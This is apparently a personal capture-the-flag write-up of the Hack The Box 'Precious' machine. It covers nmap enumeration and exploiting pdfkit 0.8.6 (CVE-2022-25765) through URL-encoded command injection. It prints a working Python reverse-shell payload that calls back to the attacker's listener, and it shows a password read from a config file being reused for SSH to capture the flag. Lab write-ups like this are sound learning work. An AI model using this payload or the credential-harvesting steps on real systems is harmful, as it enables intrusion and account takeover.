Precious

Methodology

Step By Step

-Through the nmap scan there is port 22 and port 80 open

--22 ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)

--80 http nginx 1.18.0

-Typed in the ip and got the domain then added to /etc/hosts

-Curled the IP and got a 302 code found

-The website takes in a URL and converts it to a pdf, the php code uses POST

-We are going to host a python web server to test the functionality of the web server

-Once the python web server is made using the tun0 interface, we can view a pdf of the pwd (my Precious directory in this case)

-Downloading the pdf and looking at the exif data we can see the pdf was generated by 'pdfkit v0.8.6'

-Looking up pdfkit 0.8.6 CVE we can see that is it vulnerable to injection attacks

-Using URL encoding in a user input can run shellcode

-Using the CVE as reference (CVE-2022-25765) and revshells.com we can create a payload that creates a reverse shell

-I couldn't open revshells.com on my host computer (Malwarebytes blocks it and the connection kept closing through my kali VM)

-However I did find a payload in this writeup by Un1ty (https://read.infos3c.net/hack-the-box-htb-writeup-precious)

-Once in the shell I begin looking through the pwd and none of it is helpful

-The directories 'app', 'config', 'pdf', and 'public' did not lead me anywhere. I was unable to open 'Gemfile' and 'config.ru'

-After 1 google search of important linux directories I remembered about the home directory so let's take a peak at that

-In the home directory we see 'henry' and 'ruby', using whoami we are logged in as the user 'ruby'

-Going into the 'henry' folder we can see a file 'users.txt' but we cannot access it (this is totally not the flag nothing to see here)

-Going into the 'ruby' folder we see there is no files there on the intitial ls, using ls -altr we can see the hidden files

-Let's start poking around, '.profile' permission denied, the .bash files do not help us either

-The file '.bundle' has ls and config located in it, using cat on config we can see henry's password=Q3c1AqGHtoI0aXAYFH (oopsies)

-Time to ssh into the machine as henry so we can read that users.txt file

-Using cat on users.txt gives us the flag=d6e3f2c20b275ba4ab92bee47202d4df

Walkthrough

Step By Step

Enumeration

nmap -sC -sV -T5 -p- 10.10.11.189 -v > nmapResults.txt

```
┌──(andrew㉿jarvis)-[~/Desktop/Hacking Shit/HTB/Precious]
└─$ cat nmapResults.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-27 21:27 EDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:27
Completed NSE at 21:27, 0.00s elapsed
Initiating NSE at 21:27
Completed NSE at 21:27, 0.00s elapsed
Initiating NSE at 21:27
Completed NSE at 21:27, 0.00s elapsed
Initiating Ping Scan at 21:27
Scanning 10.10.11.189 [2 ports]
Completed Ping Scan at 21:27, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:27
Completed Parallel DNS resolution of 1 host. at 21:27, 0.01s elapsed
Initiating Connect Scan at 21:27
Scanning 10.10.11.189 [65535 ports]
Discovered open port 80/tcp on 10.10.11.189
Discovered open port 22/tcp on 10.10.11.189
Completed Connect Scan at 21:27, 8.76s elapsed (65535 total ports)
Initiating Service scan at 21:27
Scanning 2 services on 10.10.11.189
Completed Service scan at 21:27, 6.03s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.189.
Initiating NSE at 21:27
Completed NSE at 21:27, 0.68s elapsed
Initiating NSE at 21:27
Completed NSE at 21:27, 0.07s elapsed
Initiating NSE at 21:27
Completed NSE at 21:27, 0.00s elapsed
Nmap scan report for 10.10.11.189
Host is up (0.018s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 21:27
Completed NSE at 21:27, 0.00s elapsed
Initiating NSE at 21:27
Completed NSE at 21:27, 0.00s elapsed
Initiating NSE at 21:27
Completed NSE at 21:27, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.11 seconds
```

echo "10.10.11.189 precious.htb" | sudo tee -a /etc/hosts

curl 10.10.11.189

```
┌──(andrew㉿jarvis)-[~/Desktop/Hacking Shit/HTB/Precious]
└─$ curl 10.10.11.189
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
```

python -m http.server --bind 10.10.14.2
nc -lvnp 9001

Payload

http://10.10.11.189/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2", 9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`

Payload successful

```
┌──(andrew㉿jarvis)-[~/Desktop/Hacking Shit/HTB/Precious]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.189] 52078
$ pwd
pwd
/var/www/pdfapp
$
```

Reverse Shell

Initial ls

```
ls
app  config  config.ru  Gemfile  Gemfile.lock  pdf  public
$
```

```
cd /home
$ ls
ls
henry  ruby
$ whoami
whoami
ruby
$

$
```

```
$ ls -altr
ls -altr
total 28
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history → /dev/null
drwxr-xr-x 4 root root 4096 Oct 26  2022 ..
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 Apr 27 21:41 .cache
drwxr-xr-x 4 ruby ruby 4096 Apr 27 21:41 .
$ cd .bundle
cd .bundle
$ ls
ls
config
$ ls
ls
config
$ cd config
cd config
sh: 23: cd: can't cd to config
$ cd ls
cd ls
sh: 24: cd: can't cd to ls
$ ls
ls
config
$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
```

```
┌──(andrew㉿jarvis)-[~/Desktop/Hacking Shit/HTB/Precious]
└─$ ssh henry@10.10.11.189
The authenticity of host '10.10.11.189 (10.10.11.189)' can't be established.
ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.11.189' (ED25519) to the list of known hosts.
henry@10.10.11.189's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ ls
user.txt
henry@precious:~$ cat user.txt
d6e3f2c20b275ba4ab92bee47202d4df
henry@precious:~$
```